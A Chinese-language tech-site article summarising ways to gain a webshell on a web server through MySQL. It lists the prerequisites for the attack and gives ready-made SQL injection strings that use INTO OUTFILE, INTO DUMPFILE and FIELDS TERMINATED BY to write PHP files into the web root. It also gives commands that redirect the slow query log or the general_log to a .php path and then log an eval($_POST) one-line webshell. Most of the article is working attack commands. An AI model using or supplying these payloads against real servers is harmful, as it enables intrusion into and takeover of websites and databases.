首頁 > 軟體

mysql資料庫中getshell的方式總結

2022-07-11 18:04:13

outfile和dumpfile寫shell

利用條件

  • 資料庫當前使用者為root許可權;
  • 知道當前網站的絕對路徑;
  • PHPGPC為 off狀態;(魔術引號,GET,POST,Cookie)
  • 寫入的那個路徑存在寫入許可權。

基於union聯合查詢:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:phpstudywwwshell.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:phpstudywwwshell.php'%23

非聯合查詢

當我們無法使用聯合查詢時,我們可以使用fields terminated bylines terminated by來寫shell

?id=1 into outfile 'C:phpstudywwwshell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+號,%0a%0b%a0 、 /**/ 註釋符等

outfile和dumpfile的區別

outfile:

1、 支援多行資料同時匯出

2、 使用union聯合查詢時,要保證兩側查詢的列數相同

3、 會在換行符製表符後面追加反斜槓

4、會在末尾追加換行

dumpfile:

1、 每次只能匯出一行資料

2、 不會在換行符製表符後面追加反斜槓

3、 不會在末尾追加換行

因此,我們可以使用into dumpfile這個函數來順利寫入二進位制檔案;

當然into outfile函數也可以寫入二進位制檔案,但是無法生效(追加的反斜槓會使二進位制檔案無法生效)

當我們使用dumpfile,應該手動新增 limit 限制,來獲取不同的行數

secure_file_prive

MySQL的secure-file-prive引數是用來限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

secure_file_prive= ,結果為空的話,表示允許任何檔案讀寫

secure_file_prive=NULL,表示不允許任何檔案讀寫

secure_file_prive=‘某個路徑’,表示這個路徑作為檔案讀寫的路徑

在mysql5.5版本前,都是預設為空,允許讀取

在mysql5.6版本後 ,預設為NULL,並且無法用SQL語句對其進行修改。所以這種只能在設定進行修改。

查詢secure_file_prive的引數

show global variables like "%secure%"

利用sql語句修改引數

set global secure_file_prive= 

但是5.6後不能利用sql修改了,所以只能利用設定修改

修改value的值:
windows下修改組態檔:mysql.ini
linux修改組態檔:my.cnf

紀錄檔getshell

慢紀錄檔getshell

慢紀錄檔:

一般都是通過long_query_time選項來設定這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(預設為10秒),這個查詢語句將被記錄到慢查詢紀錄檔中。檢視伺服器預設時間值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

檢視慢紀錄檔引數

show global variables like '%slow%'

對慢紀錄檔引數進行修改

set global slow_query_log=1 #開啟慢紀錄檔
set global slow_query_log_file='c:\phpstudy\www\test.php'#慢紀錄檔的路徑
注意:一定要用雙反斜槓
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
這兒11是超過慢紀錄檔的10秒時間

利用general_log

利用general_log,可以將所有到達mysql伺服器的sql語句,都記錄下來。

相關引數一共有3個:general_log、log_output、general_log_file

show variables like 'general_log';  -- 檢視紀錄檔是否開啟
set global general_log=on; -- 開啟紀錄檔功能


show variables like 'general_log_file';  -- 看看紀錄檔檔案儲存位置
set global general_log_file='tmp/general.lg'; -- 設定紀錄檔檔案儲存位置


show variables like 'log_output';  -- 看看紀錄檔輸出型別  table或file
set global log_output='table'; -- 設定輸出型別為 table
set global log_output='file';   -- 設定輸出型別為file

一般log_output都是file,就是將紀錄檔存入檔案中。table的話就是將紀錄檔存入資料庫的紀錄檔表中。

getshell

set global general_log=on
set global general_log_file='需要攻擊的路徑'
select '<?php eval($_POST[cmd]);?>'

這樣就將一句話木馬記錄到general_log中,從而getshell

binlog的介紹

可以看看這個

總結

到此這篇關於mysql資料庫中getshell方式的文章就介紹到這了,更多相關mysql getshell的方式內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com